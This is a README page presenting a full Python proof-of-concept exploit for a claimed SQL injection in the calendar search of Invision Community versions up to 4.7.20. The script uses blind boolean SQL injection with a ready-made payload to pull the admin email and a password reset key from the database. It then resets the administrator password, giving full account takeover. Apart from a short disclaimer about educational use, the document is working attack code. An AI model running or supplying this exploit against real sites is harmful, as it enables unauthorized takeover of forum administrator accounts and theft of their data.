README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Invision Community <= 4.7.20 (calendar/view.php) SQL Injection Exploit
CVE-2025-48932
Author: nanda
Developer: nanda
Date: 2025-11-14
This proof of concept demonstrates a SQL injection vulnerability in Invision Community
versions <= 4.7.20. This code is provided for educational and authorized security
testing purposes ONLY.
File: invision_sqli_exploit.py (can be imported as a module)
"""
import re
import sys
import time
import argparse
import requests
from urllib.parse import urljoin
from colorama import init, Fore, Style
# Initialize colorama for cross-platform colored output
init(autoreset=True)
class InvisionSQLiExploit:
"""
Exploit class for Invision Community SQL Injection vulnerability (CVE-2025-48932)
"""
def __init__(self, target_url, verbose=False):
"""
Initialize the exploit with target URL and settings
Args:
target_url (str): Base URL of the target Invision Community installation
verbose (bool): Enable verbose output for debugging
"""
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False # Disable SSL verification (use with caution)
self.csrf_token = None
# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()
def print_banner(self):
"""Display exploit banner"""
banner = f"""
{Fore.CYAN}{'='*70}
{Fore.YELLOW}Invision Community <= 4.7.20 SQL Injection Exploit
{Fore.YELLOW}CVE-2025-48932
{Fore.CYAN}{'='*70}
{Fore.WHITE}Target: {self.target_url}
{Fore.CYAN}{'='*70}{Style.RESET_ALL}
"""
print(banner)
def log_info(self, message):
"""Print info message"""
print(f"{Fore.BLUE}[*]{Style.RESET_ALL} {message}")
def log_success(self, message):
"""Print success message"""
print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {message}")
def log_error(self, message):
"""Print error message"""
print(f"{Fore.RED}[-]{Style.RESET_ALL} {message}")
def log_warning(self, message):
"""Print warning message"""
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {message}")
def log_verbose(self, message):
"""Print verbose debug message"""
if self.verbose:
print(f"{Fore.MAGENTA}[DEBUG]{Style.RESET_ALL} {message}")
def fetch_csrf_token(self):
"""
Fetch CSRF token from the main page
Returns:
bool: True if successful, False otherwise
"""
self.log_info("Fetching CSRF token...")
try:
response = self.session.get(self.target_url, timeout=30)
response.raise_for_status()
# Extract CSRF token using regex
csrf_match = re.search(r'csrfKey:\s*["\']([^"\']+)["\']', response.text)
if csrf_match:
self.csrf_token = csrf_match.group(1)
self.log_success(f"CSRF token found: {self.csrf_token}")
return True
else:
self.log_error("CSRF token not found in response!")
return False
except requests.exceptions.RequestException as e:
self.log_error(f"Failed to fetch CSRF token: {str(e)}")
return False
def sql_injection(self, sql_query):
"""
Perform boolean-based blind SQL injection to extract data
Args:
sql_query (str): SQL query to execute
Returns:
str: Extracted data from the database
"""
data = ""
index = 1
while True:
min_val = True
test = 256
# Binary search for each character
for i in range(7, -1, -1):
if min_val:
test = test - pow(2, i)
else:
test = test + pow(2, i)
# Craft SQL injection payload
payload = f"'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR(({sql_query}),{index},1))<{test},0x28,0x31)))#"
params = {
"app": "calendar",
"module": "calendar",
"controller": "view",
"do": "search",
"form_submitted": 1,
"csrfKey": self.csrf_token,
"location": payload
}
try:
response = self.session.post(
urljoin(self.target_url, "index.php"),
data=params,
timeout=30
)
# Check if error message appears (indicates condition is true)
min_val = "elErrorMessage" in response.text
self.log_verbose(f"Testing index {index}, test value {test}, result: {min_val}")
except requests.exceptions.RequestException as e:
self.log_error(f"Request failed: {str(e)}")
return None
# Calculate the character value
chr_value = (test - 1) if min_val else test
# If we get 0, we've reached the end of the string
if chr_value == 0:
break
data += chr(chr_value)
index += 1
# Print progress
print(f"\r{Fore.CYAN}[*]{Style.RESET_ALL} Extracting data: {Fore.GREEN}{data}{Style.RESET_ALL}", end='', flush=True)
print() # New line after progress
return data
def exploit(self):
"""
Main exploit workflow
Returns:
dict: Contains admin email and password if successful, None otherwise
"""
self.print_banner()
# Step 1: Fetch CSRF token
if not self.fetch_csrf_token():
return None
# Step 2: Extract admin email
self.log_info("Step 1: Extracting admin email address...")
admin_email = self.sql_injection("SELECT email FROM core_members WHERE member_id=1")
if not admin_email:
self.log_error("Failed to extract admin email!")
return None
self.log_success(f"Admin email: {Fore.YELLOW}{admin_email}{Style.RESET_ALL}")
# Step 3: Wait for password reset
self.log_warning("\nStep 2: Manual action required!")
print(f"\n{Fore.YELLOW}Please follow these steps:{Style.RESET_ALL}")
print(f"1. Navigate to: {Fore.CYAN}{self.target_url}/index.php?/lostpassword/{Style.RESET_ALL}")
print(f"2. Request a password reset using email: {Fore.CYAN}{admin_email}{Style.RESET_ALL}")
print(f"3. Press {Fore.GREEN}ENTER{Style.RESET_ALL} when done...")
input()
# Step 4: Extract password reset key
self.log_info("Step 3: Extracting password reset validation key...")
reset_key = self.sql_injection(
"SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1"
)
if not reset_key:
self.log_error("Failed to extract reset key!")
return None
self.log_success(f"Reset key: {Fore.YELLOW}{reset_key}{Style.RESET_ALL}")
# Step 5: Reset admin password
self.log_info("Step 4: Resetting admin password...")
new_password = f"Pwned{int(time.time())}"
params = {
"do": "validate",
"vid": reset_key,
"mid": 1,
"password": new_password,
"password_confirm": new_password,
"resetpass_submitted": 1,
"csrfKey": self.csrf_token
}
try:
response = self.session.post(
urljoin(self.target_url, "index.php?/lostpassword/"),
data=params,
allow_redirects=False,
timeout=30
)
# Check for successful redirect (301/302)
if response.status_code in [301, 302]:
self.log_success(f"\n{Fore.GREEN}{'='*70}")
self.log_success(f"EXPLOITATION SUCCESSFUL!")
self.log_success(f"{'='*70}{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}Admin credentials:{Style.RESET_ALL}")
print(f" Email: {Fore.CYAN}{admin_email}{Style.RESET_ALL}")
print(f" Password: {Fore.CYAN}{new_password}{Style.RESET_ALL}")
print(f"\n{Fore.GREEN}You can now login at: {self.target_url}/index.php?/login/{Style.RESET_ALL}\n")
return {
"email": admin_email,
"password": new_password
}
else:
self.log_error("Password reset failed! Unexpected response.")
self.log_verbose(f"Status code: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
self.log_error(f"Password reset request failed: {str(e)}")
return None
def main():
"""Main function to parse arguments and run exploit"""
parser = argparse.ArgumentParser(
description="Invision Community <= 4.7.20 SQL Injection Exploit (CVE-2025-48932)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Example Usage:
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
Requirements:
- Calendar application must be installed
- GeoLocation feature (like Google Maps) must be configured
- Target must be running Invision Community <= 4.7.20
Disclaimer:
This tool is provided for educational and authorized security testing purposes only.
Unauthorized access to computer systems is illegal. Use at your own risk.
"""
)
parser.add_argument(
'-u', '--url',
required=True,
help='Target Invision Community base URL (e.g., http://target.com/forum/)'
)
parser.add_argument(
'-v', '--verbose',
action='store_true',
help='Enable verbose output for debugging'
)
args = parser.parse_args()
# Display disclaimer
print(f"\n{Fore.RED}{'='*70}")
print(f"{Fore.RED}DISCLAIMER: Educational and Authorized Testing Only")
print(f"{Fore.RED}{'='*70}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}This tool is provided for educational purposes and authorized")
print(f"security testing only. Unauthorized access to computer systems is illegal.")
print(f"The author is not responsible for any misuse or damage.{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}Do you understand and agree to use this tool responsibly? (yes/no){Style.RESET_ALL}")
consent = input("> ").strip().lower()
if consent not in ['yes', 'y']:
print(f"\n{Fore.RED}Exploitation aborted.{Style.RESET_ALL}\n")
sys.exit(0)
# Initialize and run exploit
exploit = InvisionSQLiExploit(args.url, args.verbose)
result = exploit.exploit()
if result:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()